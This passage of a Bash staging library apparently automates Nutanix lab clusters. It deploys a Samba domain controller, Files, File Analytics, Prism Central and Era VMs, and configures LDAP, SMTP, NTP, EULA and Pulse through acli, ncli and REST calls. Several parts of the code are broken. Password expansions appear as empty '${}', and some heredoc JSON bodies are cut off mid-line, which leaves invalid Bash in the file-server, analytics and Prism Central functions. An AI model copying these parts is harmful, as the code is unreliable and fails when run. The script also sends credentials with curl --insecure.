container=${STORAGE_IMAGES} source_url=${SOURCE_URL}\n else\n log \"Image found, assuming ready. Skipping ${AUTH_SERVER} import.\"\n fi\n\n log \"Create ${AUTH_SERVER} VM based on ${AUTH_SERVER} image\"\n acli \"vm.create ${AUTH_SERVER} num_vcpus=2 num_cores_per_vcpu=1 memory=4G\"\n # vmstat --wide --unit M --active # suggests 2G sufficient, was 4G\n #acli \"vm.disk_create ${AUTH_SERVER}${_autodc_release} cdrom=true empty=true\"\n acli \"vm.disk_create ${AUTH_SERVER} clone_from_image=${AUTH_SERVER}\"\n acli \"vm.nic_create ${AUTH_SERVER} network=${NW1_NAME} ip=${AUTH_HOST}\"\n\n log \"Power on ${AUTH_SERVER} VM...\"\n acli \"vm.on ${AUTH_SERVER}\"\n\n _attempts=45\n _loop=0\n _sleep=60\n\n while true ; do\n (( _loop++ ))\n\n _test=$(curl ${CURL_OPTS} -X GET http://${AUTH_HOST}:8000/ | grep \"${_autoad_success}\")\n if [[ \"${_test}\" == \"${_autoad_success}\" ]]; then\n log \"${AUTH_SERVER} is ready.\"\n sleep ${_sleep}\n break\n elif (( ${_loop} > ${_attempts} )); then\n log \"Error ${_error}: ${AUTH_SERVER} VM running: giving up after ${_loop} tries.\"\n #_result=$(source /etc/profile.d/nutanix_env.sh \\\n # && for _vm in $(source /etc/profile.d/nutanix_env.sh && acli vm.list | grep ${AUTH_SERVER}) ; do acli -y vm.delete $_vm; done)\n # acli image.delete ${AUTH_SERVER}${_autodc_release}\n #log \"Remediate by deleting the ${AUTH_SERVER} VM from PE (just attempted by this script: ${_result}) and then running acli $_\"\n exit ${_error}\n else\n log \"_test ${_loop}/${_attempts}=|${_test}|: sleep ${_sleep} seconds...\"\n sleep ${_sleep}\n fi\n done\n\n fi\n ;;\n 'AutoDC')\n local _autodc_auth\n local _autodc_index=1\n local _autodc_release=1\n local _autodc_service='samba-ad-dc'\n local _autodc_restart=\"service ${_autodc_service} restart\"\n local _autodc_status=\"systemctl show ${_autodc_service} --property=SubState\"\n local _autodc_success='SubState=running'\n\n #if (( ${_pc_version[0]} >= 5 && ${_pc_version[1]} >= 9 )); then\n if (( ${_pc_version[0]} >= 5 && ${_pc_version[1]} >= 8 )); then\n log \"PC_VERSION ${PC_VERSION} >= 5.9, setting AutoDC2...\"\n\n _autodc_auth=\" --username=${AUTH_ADMIN_USER} --password=${}\"\n _autodc_index=''\n _autodc_release=2\n _autodc_service=samba\n _autodc_restart=\"sleep 2 && service ${_autodc_service} stop && sleep 5 && service ${_autodc_service} start\"\n _autodc_status=\"service ${_autodc_service} status\"\n _autodc_success=' * status: started'\n fi\n\n dns_check \"dc${_autodc_index}.${AUTH_FQDN}\"\n _result=$?\n\n if (( ${_result} == 0 )); then\n log \"${AUTH_SERVER}${_autodc_release}.IDEMPOTENCY: dc${_autodc_index}.${AUTH_FQDN} set, skip. ${_result}\"\n else\n log \"${AUTH_SERVER}${_autodc_release}.IDEMPOTENCY failed, no DNS record dc${_autodc_index}.${AUTH_FQDN}\"\n\n _error=12\n _loop=0\n _sleep=${SLEEP}\n\n repo_source AUTODC_REPOS[@]\n\n if (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${AUTH_SERVER}${_autodc_release} | wc --lines) == 0 )); then\n log \"Import ${AUTH_SERVER}${_autodc_release} image from ${SOURCE_URL}...\"\n acli image.create ${AUTH_SERVER}${_autodc_release} \\\n image_type=kDiskImage wait=true \\\n container=${STORAGE_IMAGES} source_url=${SOURCE_URL}\n else\n log \"Image found, assuming ready. Skipping ${AUTH_SERVER}${_autodc_release} import.\"\n fi\n\n log \"Create ${AUTH_SERVER}${_autodc_release} VM based on ${AUTH_SERVER}${_autodc_release} image\"\n acli \"vm.create ${AUTH_SERVER}${_autodc_release} num_vcpus=2 num_cores_per_vcpu=1 memory=2G\"\n # vmstat --wide --unit M --active # suggests 2G sufficient, was 4G\n #acli \"vm.disk_create ${AUTH_SERVER}${_autodc_release} cdrom=true empty=true\"\n acli \"vm.disk_create ${AUTH_SERVER}${_autodc_release} clone_from_image=${AUTH_SERVER}${_autodc_release}\"\n acli \"vm.nic_create ${AUTH_SERVER}${_autodc_release} network=${NW1_NAME} ip=${AUTH_HOST}\"\n\n log \"Power on ${AUTH_SERVER}${_autodc_release} VM...\"\n acli \"vm.on ${AUTH_SERVER}${_autodc_release}\"\n\n _attempts=20\n _loop=0\n _sleep=10\n\n while true ; do\n (( _loop++ ))\n\n _test=$(remote_exec 'SSH' 'AUTH_SERVER' \"${_autodc_status}\")\n if [[ \"${_test}\" == \"${_autodc_success}\" ]]; then\n log \"${AUTH_SERVER}${_autodc_release} is ready.\"\n sleep ${_sleep}\n break\n elif (( ${_loop} > ${_attempts} )); then\n log \"Error ${_error}: ${AUTH_SERVER}${_autodc_release} VM running: giving up after ${_loop} tries.\"\n _result=$(source /etc/profile.d/nutanix_env.sh \\\n && for _vm in $(source /etc/profile.d/nutanix_env.sh && acli vm.list | grep ${AUTH_SERVER}${_autodc_release}) ; do acli -y vm.delete $_vm; done)\n # acli image.delete ${AUTH_SERVER}${_autodc_release}\n log \"Remediate by deleting the ${AUTH_SERVER}${_autodc_release} VM from PE (just attempted by this script: ${_result}) and then running acli $_\"\n exit ${_error}\n else\n log \"_test ${_loop}/${_attempts}=|${_test}|: sleep ${_sleep} seconds...\"\n sleep ${_sleep}\n fi\n done\n\n log \"Create Reverse Lookup Zone on ${AUTH_SERVER}${_autodc_release} VM...\"\n _attempts=3\n _loop=0\n\n while true ; do\n (( _loop++ ))\n remote_exec 'SSH' 'AUTH_SERVER' \\\n \"samba-tool dns zonecreate dc${_autodc_index} ${OCTET[2]}.${OCTET[1]}.${OCTET[0]}.in-addr.arpa ${_autodc_auth} && ${_autodc_restart}\" \\\n 'OPTIONAL'\n sleep ${_sleep}\n\n dns_check \"dc${_autodc_index}.${AUTH_FQDN}\"\n _result=$?\n\n if (( ${_result} == 0 )); then\n log \"Success: DNS record dc${_autodc_index}.${AUTH_FQDN} set.\"\n break\n elif (( ${_loop} > ${_attempts} )); then\n if (( ${_autodc_release} < 2 )); then\n log \"Error ${_error}: ${AUTH_SERVER}${_autodc_release}: giving up after ${_loop} tries; deleting VM...\"\n acli \"-y vm.delete ${AUTH_SERVER}${_autodc_release}\"\n exit ${_error}\n fi\n else\n log \"dns_check ${_loop}/${_attempts}=|${_result}|: sleep ${_sleep} seconds...\"\n sleep ${_sleep}\n fi\n done\n\n # Adding the needed group and users to the AutoDC that may be used. Calm would otherwise have no BootInfra Project\n remote_exec 'SSH' 'AUTH_SERVER' \\\n 'samba-tool group add \"SSP Custom\"' \\\n 'OPTIONAL'\n sleep ${_sleep}\n remote_exec 'SSH' 'AUTH_SERVER' \\\n 'for i in `samba-tool user list | grep ^user`; do samba-tool group addmembers \"SSP Custom\" $i;done' \\\n 'OPTIONAL'\n sleep ${_sleep}\n\n fi\n ;;\n 'OpenLDAP')\n log \"To be documented, see https://drt-it-github-prod-1.eng.nutanix.com/mark-lavi/openldap\"\n ;;\n esac\n}\n\n###############################################################################################################################################################################\n# Routine to get the Nutanix Files injected\n###############################################################################################################################################################################\n\nfunction files_install() {\n local _ncli_softwaretype='FILE_SERVER'\n local _ncli_software_type='afs'\n local _test\n\n dependencies 'install' 'jq' || exit 13\n\n log \"IDEMPOTENCY: checking for ${_ncli_software_type} completed...\"\n _test=$(source /etc/profile.d/nutanix_env.sh \\\n && ncli --json=true software list \\\n | jq -r \\\n '.data[] | select(.softwareType == \"'${_ncli_softwaretype}'\") | select(.status == \"COMPLETED\") | .version')\n\n if [[ ${_test} != \"${FILES_VERSION}\" ]]; then\n log \"Files ${FILES_VERSION} not completed. ${_test}\"\n ntnx_download \"${_ncli_software_type}\"\n else\n log \"IDEMPOTENCY: Files ${FILES_VERSION} already completed.\"\n fi\n}\n\n###############################################################################################################################################################################\n# Routine to get the Nutanix File Analytics injected\n###############################################################################################################################################################################\n\nfunction file_analytics_install() {\n local _ncli_softwaretype='FILE_ANALYTICS'\n local _ncli_software_type='file_analytics'\n local _test\n\n dependencies 'install' 'jq' || exit 13\n\n log \"IDEMPOTENCY: checking for ${_ncli_software_type} completed...\"\n _test=$(source /etc/profile.d/nutanix_env.sh \\\n && ncli --json=true software list \\\n | jq -r \\\n '.data[] | select(.softwareType == \"'${_ncli_softwaretype}'\") | select(.status == \"COMPLETED\") | .version')\n\n if [[ ${_test} != \"${FILE_ANALYTICS_VERSION}\" ]]; then\n log \"Files ${FILE_ANALYTICS_VERSION} not completed. ${_test}\"\n ntnx_download \"${_ncli_software_type}\"\n else\n log \"IDEMPOTENCY: Files ${FILE_ANALYTICS_VERSION} already completed.\"\n fi\n}\n\n###############################################################################################################################################################################\n# Create File Server\n###############################################################################################################################################################################\n\nfunction create_file_server() {\n #local CURL_HTTP_OPTS=' --max-time 25 --silent --show-error --header Content-Type:application/json --header Accept:application/json --insecure '\n local _fileserver_name=\"BootcampFS\"\n local _internal_nw_name=\"${1}\"\n local _internal_nw_uuid\n local _external_nw_name=\"${2}\"\n local _external_nw_uuid\n local _test\n local _maxtries=30\n local _tries=0\n local _httpURL=\"https://localhost:9440/PrismGateway/services/rest/v1/vfilers\"\n local _grab_afs_version=\"https://localhost:9440/PrismGateway/services/rest/v1/upgrade/afs/softwares\"\n local _ntp_formatted=\"$(echo $NTP_SERVERS | sed -r 's/[^,]+/'\\\"'&'\\\"'/g')\"\n\n # Get dynamically the version of the AFS that has been installed\n afs_version=$(curl ${CURL_OPTS} --user ${PRISM_ADMIN}:${PE_PASSWORD} -X GET ${_grab_afs_version} | jq '.entities[] | select (.status==\"COMPLETED\") .version' | tr -d \\\")\n\n log \"Found installed version: $afs_version of Nutanix Files...\"\n\n echo \"Get cluster network and storage container UUIDs...\"\n _internal_nw_uuid=$(acli net.get ${_internal_nw_name} \\\n | grep \"uuid\" | cut -f 2 -d ':' | xargs)\n _external_nw_uuid=$(acli net.get ${_external_nw_name} \\\n | grep \"uuid\" | cut -f 2 -d ':' | xargs)\n _storage_default_uuid=$(ncli container ls name=${STORAGE_DEFAULT} \\\n | grep Uuid | grep -v Pool | cut -f 2 -d ':' | xargs)\n echo \"${_internal_nw_name} network UUID: ${_internal_nw_uuid}\"\n echo \"${_external_nw_name} network UUID: ${_external_nw_uuid}\"\n echo \"${STORAGE_DEFAULT} storage container UUID: ${_storage_default_uuid}\"\n\n HTTP_JSON_BODY=$(cat <}\",\n \"dnsServerIpAddresses\":[\n \"${AUTH_HOST}\"\n ],\n \"ntpServers\":[\n ${_ntp_formatted}\n ],\n \"sizeGib\":\"1024\",\n \"version\":\"${afs_version}\",\n \"dnsDomainName\":\"${AUTH_FQDN}\",\n \"nameServicesDTO\":{\n \"adDetails\":{\n \"windowsAdDomainName\":\"${AUTH_FQDN}\",\n \"windowsAdUsername\":\"${AUTH_ADMIN_USER}\",\n \"windowsAdPassword\":\"${AUTH__}\",\n \"addUserAsFsAdmin\":true,\n \"organizationalUnit\":\"\",\n \"preferredDomainController\":\"\",\n \"overwriteUserAccount\":false,\n \"rfc2307Enabled\":false,\n \"useSameCredentialsForDns\":false,\n \"protocolType\":\"1\"\n }\n },\n \"addUserAsFsAdmin\":true,\n \"organizationalUnit\":\"\",\n \"preferredDomainController\":\"\",\n \"fsDnsOperationsDTO\":{\n \"dnsOpType\":\"MS_DNS\",\n \"dnsServer\":\"\",\n \"dnsUserName\":\"${AUTH_ADMIN_USER}\",\n \"dnsPassword\":\"}\"\n },\n \"pdName\":\"NTNX-${_fileserver_name}\"\n}\nEOF\n)\n\n # Start the create process\n #_response=$(curl ${CURL_HTTP_OPTS} --user ${PRISM_ADMIN}:${PE_PASSWORD} -X POST -d ${HTTP_JSON_BODY} ${_httpURL}| grep \"taskUuid\" | wc -l)\necho $HTTP_JSON_BODY\n\n# execute the API call to create the file server\n _response=$(curl ${CURL_POST_OPTS} --user ${PRISM_ADMIN}:${PE_PASSWORD} -X POST --data \"${HTTP_JSON_BODY}\" ${_httpURL} | grep \"taskUuid\" | wc -l)\n\n#curl $CURL_HTTP_OPTS --user $PRISM_ADMIN:$PE_PASSWORD -X POST -d $HTTP_JSON_BODY $_httpURL\n\n # Check to ensure we get a response back, then start checking for the file server creation\n if [[ ! -z $_response ]]; then\n# # Check if Files has been enabled\n _checkresponse=$(curl ${CURL_OPTS} --user ${PRISM_ADMIN}:${PE_PASSWORD} -X GET ${_httpURL}| grep $_fileserver_name | wc -l)\n while [[ $_checkresponse -ne 1 && $_tries -lt $_maxtries ]]; do\n log \"File Server Not yet created. $_tries/$_maxtries... sleeping 1 minute\"\n sleep 1m\n _checkresponse=$(curl ${CURL_OPTS} --user ${PRISM_ADMIN}:${PE_PASSWORD} -X GET ${_httpURL}| grep $_fileserver_name | wc -l)\n ((_tries++))\n done\n if [[ $_checkresponse -eq 1 ]]; then\n echo \"File Server has been created.\"\n else\n echo \"File Server creation failed. Check the staging logs.\"\n fi\n else\n echo \"File Server is not being created, check the staging logs.\"\n fi\n}\n\n###############################################################################################################################################################################\n# Create File Analytics Server\n###############################################################################################################################################################################\n\nfunction create_file_analytics_server() {\n #local CURL_HTTP_OPTS=' --max-time 25 --silent --show-error --header Content-Type:application/json --header Accept:application/json --insecure '\n local _file_analytics_server_name=\"BootcampFileAnalytics\"\n local _nw_name=\"${NW1_NAME}\"\n local _nw_uuid\n local _test\n local _maxtries=30\n local _tries=0\n local _ntp_formatted=\"$(echo $NTP_SERVERS | sed -r 's/[^,]+/'\\\"'&'\\\"'/g')\"\n local CURL_HTTP_OPTS=\" --max-time 25 --silent --header Content-Type:application/json --header Accept:application/json --insecure \"\n\n log \"Installing File Analytics version: ${FILE_ANALYTICS_VERSION}\"\n\n echo \"Get cluster network and storage container UUIDs...\"\n\n # Get the Network UUIDs\n #_nw_uuid=$(acli net.get ${_nw_name} | grep \"uuid\" | cut -f 2 -d ':' | xargs)\n log \"Get cluster network UUID\"\n\n #_nw_uuid=$(curl ${CURL_HTTP_OPTS} --user ${PRISM_ADMIN}:${PE_PASSWORD} -X POST --data '{\"kind\":\"subnet\",\"filter\": \"name==Primary\"}' 'https://localhost:9440/api/nutanix/v3/subnets/list' | jq -r '.entities[] | .metadata.uuid' | tr -d \\\")\n\n #_nw_uuid=$(curl ${CURL_HTTP_OPTS} -X POST 'https://localhost:9440/api/nutanix/v3/subnets/list' --user ${PRISM_ADMIN}:${PE_PASSWORD} --data '{\"kind\":\"subnet\",\"filter\": \"name==Secondary\"}' | jq -r '.entities[] | .metadata.uuid' | tr -d \\\")\n\n #_nw_uuid=$(curl ${CURL_HTTP_OPTS} --user ${PRISM_ADMIN}:${PE_PASSWORD} -X POST --data '{\"kind\":\"subnet\",\"filter\": \"name==Secondary\"}' 'https://localhost:9440/api/nutanix/v3/subnets/list' | jq -r '.entities[] | .metadata.uuid' | tr -d \\\")\n _nw_uuid=$(curl ${CURL_HTTP_OPTS} --user ${PRISM_ADMIN}:${PE_PASSWORD} -X POST --data '{\"kind\":\"subnet\",\"filter\": \"name==Primary\"}' 'https://localhost:9440/api/nutanix/v3/subnets/list' | jq -r '.entities[] | .metadata.uuid' | tr -d \\\")\n\n # Get the Container UUIDs\n log \"Get ${STORAGE_DEFAULT} Container UUID\"\n _storage_default_uuid=$(ncli container ls name=${STORAGE_DEFAULT} | grep Uuid | grep -v Pool | cut -f 2 -d ':' | xargs)\n\n echo \"Secondary network UUID: ${_nw_uuid}\"\n echo \"${STORAGE_DEFAULT} storage container UUID: ${_storage_default_uuid}\"\n\n\nHTTP_JSON_BODY=$(cat <}\\\",\\\"port\\\":null}\"\n _response=$(curl -X POST $CURL_HTTP_OPTS --user ${PRISM_ADMIN}:${PE_PASSWORD} \"https://${PE_HOST}:9440/PrismGateway/services/rest/v1/multicluster/add_to_multicluster\" -d $_json_data | jq '.value')\n\n # Let's sleep a few seconds before moving on\n sleep 5\n\n # Checking if the registration has worked\n _pc_ip_addr=$(curl $CURL_HTTP_OPTS --user ${PRISM_ADMIN}:${PE_PASSWORD} \"https://${PE_HOST}:9440/PrismGateway/services/rest/v1/multicluster/cluster_external_state\" | jq '.[].clusterDetails.ipAddresses[0]' | tr -d \\\")\n while [[ -z $_pc_ip_addr ]]\n do\n log \"Registering PE has failed, retrying\"\n curl -X POST $CURL_HTTP_OPTS --user ${PRISM_ADMIN}:${PE_PASSWORD} \"https://${PE_HOST}:9440/PrismGateway/services/rest/v1/multicluster/add_to_multicluster\" -d $_json_data\n (( _loop++ ))\n _pc_ip_addr=$(curl $CURL_HTTP_OPTS --user ${PRISM_ADMIN}:${PE_PASSWORD} \"https://${PE_HOST}:9440/PrismGateway/services/rest/v1/multicluster/cluster_external_state\" | jq '.[].clusterDetails.ipAddresses[0]' | tr -d \\\")\n sleep 5\n log \"Sleeping for 5 seconds before retrying...$_loop/$_attempts\"\n if [[ $_loop -gt $_attempts ]]; then\n log \"We have tried 10 times and the cluster is not able to register... Exiting the script!!\"\n exit 1\n fi\n done\n log \"PE has been registered to PC... Proceeding...\"\n}\n\n\n###############################################################################################################################################################################\n# Routine to configure the PC and handoff to the PC local installation\n###############################################################################################################################################################################\n\nfunction pc_configure() {\n args_required 'PC_LAUNCH RELEASE'\n local _command\n local _container\n local _dependencies=\"global.vars.sh lib.pc.sh ${PC_LAUNCH}\"\n\n # If we are being called via the we-*.sh, we need to change the lib.common.sh to we-lib.common.sh\n if [[ ${PC_LAUNCH} != *\"we-\"* ]]; then\n _dependencies+=\" lib.common.sh\"\n else\n _dependencies+=\" we-lib.common.sh\"\n fi\n\n if [[ -e ${RELEASE} ]]; then\n _dependencies+=\" ${RELEASE}\"\n else\n log 'Warning: did NOT find '${RELEASE}\n fi\n log \"Send configuration scripts to PC and remove: ${_dependencies}\"\n remote_exec 'scp' 'PC' \"${_dependencies}\" && /usr/bin/rm -f ${_dependencies} lib.pe.sh\n\n _dependencies=\"bin/${JQ_REPOS[0]##*/} ${SSHPASS_REPOS[0]##*/} id_rsa.pub\"\n\n log \"OPTIONAL: Send binary dependencies to PC: ${_dependencies}\"\n remote_exec 'scp' 'PC' \"${_dependencies}\" 'OPTIONAL'\n\n for _container in epsilon nucalm ; do\n if [[ -e ${_container}.tar ]]; then\n log \"Uploading Calm container updates in background...\"\n remote_exec 'SCP' 'PC' ${_container}.tar 'OPTIONAL' &\n fi\n done\n #####################################################################################\n ### Handing of to the PC for rest of the installation\n #####################################################################################\n\n ## TODO: If DEBUG is set, we run the below command with bash -x\n _command=\"EMAIL=${EMAIL} \\\n PC_HOST=${PC_HOST} PE_HOST=${PE_HOST} PE_PASSWORD=${} \\\n PC_LAUNCH=${PC_LAUNCH} PC_VERSION=${PC_VERSION} AUTH_HOST=${AUTH_HOST} SNOWInstanceURL=${SNOWInstanceURL} nohup bash ${HOME}/${PC_LAUNCH} PC\"\n log \"Remote asynchroneous launch PC configuration script... ${_command}\"\n remote_exec 'ssh' 'PC' \"${_command} >> ${HOME}/${PC_LAUNCH%%.sh}.log 2>&1 &\"\n log \"PC Configuration complete: try Validate Staged Clusters now.\"\n}\n\n###############################################################################################################################################################################\n# Routine to install the PC in the PE\n###############################################################################################################################################################################\nfunction pc_install() {\n local _ncli_softwaretype='PRISM_CENTRAL_DEPLOY'\n local _nw_name=\"${1}\"\n local _nw_uuid\n local _pc_version\n local _should_auto_register\n local _storage_default_uuid\n local _test\n\n log \"IDEMPOTENCY: Checking PC API responds, curl failures are acceptable...\"\n prism_check 'PC' 2 0\n\n if (( $? == 0 )) ; then\n log \"IDEMPOTENCY: PC API responds, skip.\"\n else\n log \"Get cluster network and storage container UUIDs...\"\n _nw_uuid=$(acli \"net.get ${_nw_name}\" \\\n | grep \"uuid\" | cut -f 2 -d ':' | xargs)\n _storage_default_uuid=$(ncli container ls name=${STORAGE_IMAGES} \\\n | grep Uuid | grep -v Pool | cut -f 2 -d ':' | xargs)\n #_storage_default_uuid=$(ncli container ls name=${STORAGE_DEFAULT} \\\n # | grep Uuid | grep -v Pool | cut -f 2 -d ':' | xargs)\n log \"${_nw_name} network UUID: ${_nw_uuid}\"\n log \"${STORAGE_DEFAULT} storage container UUID: ${_storage_default_uuid}\"\n\n _test=$(source /etc/profile.d/nutanix_env.sh \\\n && ncli --json=true software list \\\n | jq -r \\\n '.data[] | select(.softwareType == \"'${_ncli_softwaretype}'\") | select(.status == \"COMPLETED\") | .version')\n\n if [[ ${_test} != \"${PC_VERSION}\" ]]; then\n log \"PC-${PC_VERSION} not completed. ${_test}\"\n ntnx_download \"${_ncli_softwaretype}\"\n else\n log \"IDEMPOTENCY: PC-${PC_VERSION} upload already completed.\"\n fi\n\n # shellcheck disable=2206\n _pc_version=(${PC_VERSION//./ })\n if (( ${_pc_version[0]} == 5 && ${_pc_version[1]} <= 6 )); then\n _should_auto_register='\"should_auto_register\":true,'\n fi\n\n log \"Deploy Prism Central (typically takes 17+ minutes)...\"\n # TODO:160 make scale-out & dynamic, was: 4vCPU/16GB = 17179869184, 8vCPU/40GB = 42949672960\n # Sizing suggestions, certified configurations:\n # https://portal.nutanix.com/#/page/docs/details?targetId=Release-Notes-Prism-Central-v591:sha-pc-scalability-r.html\n\n # TODO:10 network_configuration.{subnet_mask|default_gateway}\n HTTP_BODY=$(cat <= 5 && ${_aos_version[1]} >= 9 )); then\n _directory_url=\"ldap://${AUTH_HOST}:${LDAP_PORT}\"\n log \"Adjusted directory-url=${_directory_url} because AOS-${_aos} >= 5.9\"\n fi\n else\n log \"Error ${_error}: couldn't determine AOS version=${_aos}\"\n exit ${_error}\n fi\n\n log \"Configure PE external authentication\"\n ncli authconfig add-directory \\\n directory-type=ACTIVE_DIRECTORY \\\n connection-type=LDAP directory-url=\"${_directory_url}\" \\\n domain=\"${AUTH_FQDN}\" \\\n name=\"${AUTH_DOMAIN}\" \\\n service-account-username=\"${AUTH_ADMIN_USER}\" \\\n service-account-password=\"${}\"\n\n log \"Configure PE role map\"\n ncli authconfig add-role-mapping \\\n role=ROLE_CLUSTER_ADMIN \\\n entity-type=group name=\"${AUTH_DOMAIN}\" \\\n entity-values=\"${AUTH_ADMIN_GROUP}\"\n fi\n}\n\n###############################################################################################################################################################################\n# Routine set PE's initial configuration\n###############################################################################################################################################################################\nfunction pe_init() {\n args_required 'DATA_SERVICE_IP EMAIL \\\n SMTP_SERVER_ADDRESS SMTP_SERVER_FROM SMTP_SERVER_PORT \\\n STORAGE_DEFAULT STORAGE_POOL STORAGE_IMAGES \\\n SLEEP ATTEMPTS'\n\n #if [[ `ncli cluster get-params | grep 'External Data' | \\\n # awk -F: '{print $2}' | tr -d '[:space:]'` == \"${DATA_SERVICE_IP}\" ]]; then\n # log \"IDEMPOTENCY: Data Services IP set, skip.\"\n #else\n log \"Configure SMTP\"\n ncli cluster set-smtp-server port=${SMTP_SERVER_PORT} \\\n from-email-address=${SMTP_SERVER_FROM} address=${SMTP_SERVER_ADDRESS}\n ${HOME}/serviceability/bin/email-alerts --to_addresses=\"${EMAIL}\" \\\n --subject=\"[pe_init:Config SMTP:alert test] $(ncli cluster get-params)\" \\\n && ${HOME}/serviceability/bin/send-email\n\n log \"Configure NTP\"\n ncli cluster add-to-ntp-servers servers=${NTP_SERVERS}\n\n log \"Rename default container to ${STORAGE_DEFAULT}\"\n default_container=$(ncli container ls | grep -P '^(?!.*VStore Name).*Name' \\\n | cut -d ':' -f 2 | sed s/' '//g | grep '^default-container-')\n ncli container edit name=\"${default_container}\" new-name=\"${STORAGE_DEFAULT}\"\n\n log \"Rename default storage pool to ${STORAGE_POOL}\"\n default_sp=$(ncli storagepool ls | grep 'Name' | cut -d ':' -f 2 | sed s/' '//g)\n ncli sp edit name=\"${default_sp}\" new-name=\"${STORAGE_POOL}\"\n\n #log \"Check if there is a container named ${STORAGE_IMAGES}, if not create one\"\n #(ncli container ls | grep -P '^(?!.*VStore Name).*Name' \\\n # | cut -d ':' -f 2 | sed s/' '//g | grep \"^${STORAGE_IMAGES}\" > /dev/null 2>&1) \\\n # && log \"Container ${STORAGE_IMAGES} exists\" \\\n # || ncli container create name=\"${STORAGE_IMAGES}\" sp-name=\"${STORAGE_POOL}\"\n\n # Set external IP address:\n #ncli cluster edit-params external-ip-address=${PE_HOST}\n\n log \"Set Data Services IP address to ${DATA_SERVICE_IP}\"\n ncli cluster edit-params external-data-services-ip-address=${DATA_SERVICE_IP}\n #fi\n}\n\n\n\n###############################################################################################################################################################################\n# Routine to accept the EULA and disable pulse\n###############################################################################################################################################################################\nfunction pe_license() {\n local _test\n args_required 'CURL_POST_OPTS PE_PASSWORD'\n\n log \"IDEMPOTENCY: Checking PC API responds, curl failures are acceptable...\"\n prism_check 'PC' 2 0\n\n if (( $? == 0 )) ; then\n log \"IDEMPOTENCY: PC API responds, skip\"\n else\n _test=$(curl ${CURL_POST_OPTS} --user ${PRISM_ADMIN}:${PE_PASSWORD} -X POST --data '{\n \"username\": \"SE with $(basename ${0})\",\n \"companyName\": \"Nutanix\",\n \"jobTitle\": \"SE\"\n }' https://localhost:9440/PrismGateway/services/rest/v1/eulas/accept)\n log \"Validate EULA on PE: _test=|${_test}|\"\n\n _test=$(curl ${CURL_POST_OPTS} --user ${PRISM_ADMIN}:${PE_PASSWORD} -X PUT --data '{\n \"defaultNutanixEmail\": null,\n \"emailContactList\": null,\n \"enable\": false,\n \"enableDefaultNutanixEmail\": false,\n \"isPulsePromptNeeded\": false,\n \"nosVersion\": null,\n \"remindLater\": null,\n \"verbosityType\": null\n }' https://localhost:9440/PrismGateway/services/rest/v1/pulse)\n log \"Disable Pulse in PE: _test=|${_test}|\"\n\n fi\n}\n\n\n\n###############################################################################################################################################################################\n# Routine to unregister PE from PC\n###############################################################################################################################################################################\nfunction pc_unregister {\n local _cluster_uuid\n local _pc_uuid\n # https://portal.nutanix.com/kb/4944\n\n # PE:\n cluster status # check\n ncli -h true multicluster remove-from-multicluster \\\n external-ip-address-or-svm-ips=${PC_HOST} \\\n username=${PRISM_ADMIN} password=${} force=true\n # Error: This cluster was never added to Prism Central\n ncli multicluster get-cluster-state # check for none\n _cluster_uuid=$(ncli cluster info | grep -i uuid | awk -F: '{print $2}' | tr -d '[:space:]')\n\n exit 0\n # PC: remote_exec 'PC'\n chmod u+x /home/nutanix/bin/unregistration_cleanup.py \\\n && python /home/nutanix/bin/unregistration_cleanup.py ${_cluster_uuid}\n # Uuid of current cluster cannot be passed to cleanup\n _pc_uuid=$(cluster info) # no such command!\n # PE:\n chmod u+x /home/nutanix/bin/unregistration_cleanup.py \\\n && python /home/nutanix/bin/unregistration_cleanup.py ${_pc_uuid}\n\n # Troubleshooting\n cat ~/data/logs/unregistration_cleanup.log\n\n pc_destroy\n}\n\n###############################################################################################################################################################################\n# Routine to destroy the PC VM\n###############################################################################################################################################################################\nfunction pc_destroy() {\n local _vm\n\n dependencies 'install' 'jq' || exit 13\n\n for _vm in $(acli -o json vm.list | jq -r '.data[] | select(.name | contains(\"Prism Central\")) | .uuid'); do\n log \"PC vm.uuid=${_vm}\"\n acli vm.off ${_vm} && acli -y vm.delete ${_vm}\n done\n}\n\n###################################################################################################################################################\n# Routine to deploy PrismProServer\n###################################################################################################################################################\n\nfunction prism_pro_server_deploy() {\n\n### Import Image ###\n\nif (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${PrismOpsServer} | wc --lines) == 0 )); then\n log \"Import ${PrismOpsServer} image from ${QCOW2_REPOS}...\"\n acli image.create ${PrismOpsServer} \\\n image_type=kDiskImage wait=true \\\n container=${STORAGE_IMAGES} source_url=\"${QCOW2_REPOS}${PrismOpsServer}.qcow2\"\nelse\n log \"Image found, assuming ready. Skipping ${PrismOpsServer} import.\"\nfi\n\n### Deploy PrismProServer ###\n\nlog \"Create ${PrismOpsServer} VM based on ${PrismOpsServer} image\"\nacli \"vm.create ${PrismOpsServer} num_vcpus=2 num_cores_per_vcpu=1 memory=2G\"\n# vmstat --wide --unit M --active # suggests 2G sufficient, was 4G\n#acli \"vm.disk_create ${VMNAME} cdrom=true empty=true\"\nacli \"vm.disk_create ${PrismOpsServer} clone_from_image=${PrismOpsServer}\"\n#acli \"vm.nic_create ${PrismOpsServer} network=${NW1_NAME}\"\nacli \"vm.nic_create ${PrismOpsServer} network=${NW1_NAME} ip=${PrismOpsServer_HOST}\"\n\nlog \"Power on ${PrismOpsServer} VM...\"\nacli \"vm.on ${PrismOpsServer}\"\n\n}\n\n###################################################################################################################################################\n# Routine create the Era Storage container for the Era Bootcamps.\n###################################################################################################################################################\n\nfunction create_era_container() {\n\n log \"Creating Era Storage Container\"\n ncli container create name=\"${STORAGE_ERA}\" rf=\"${ERA_Container_RF}\" sp-name=\"${STORAGE_POOL}\" enable-compression=true compression-delay=60\n\n}\n\n\n#########################################################################################################################################\n# Routine to Create Era Server\n#########################################################################################################################################\n\nfunction deploy_era() {\n\n### Import Image ###\n\nif (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${ERAServerImage} | wc --lines) == 0 )); then\n log \"Import ${ERAServerImage} image from ${QCOW2_REPOS}...\"\n acli image.create ${ERAServerImage} \\\n image_type=kDiskImage wait=true \\\n container=${STORAGE_IMAGES} source_url=\"${QCOW2_REPOS}${ERAServerImage}\"\nelse\n log \"Image found, assuming ready. Skipping ${ERAServerImage} import.\"\nfi\n\n### Deploy PrismProServer ###\n\nlog \"Create ${ERAServerName} VM based on ${ERAServerImage} image\"\nacli \"vm.create ${ERAServerName} num_vcpus=1 num_cores_per_vcpu=4 memory=16G\"\nacli \"vm.disk_create ${ERAServerName} clone_from_image=${ERAServerImage}\"\nacli \"vm.nic_create ${ERAServerName} network=${NW1_NAME} ip=${ERA_HOST}\"\n\nlog \"Power on ${ERAServerName} VM...\"\nacli \"vm.on 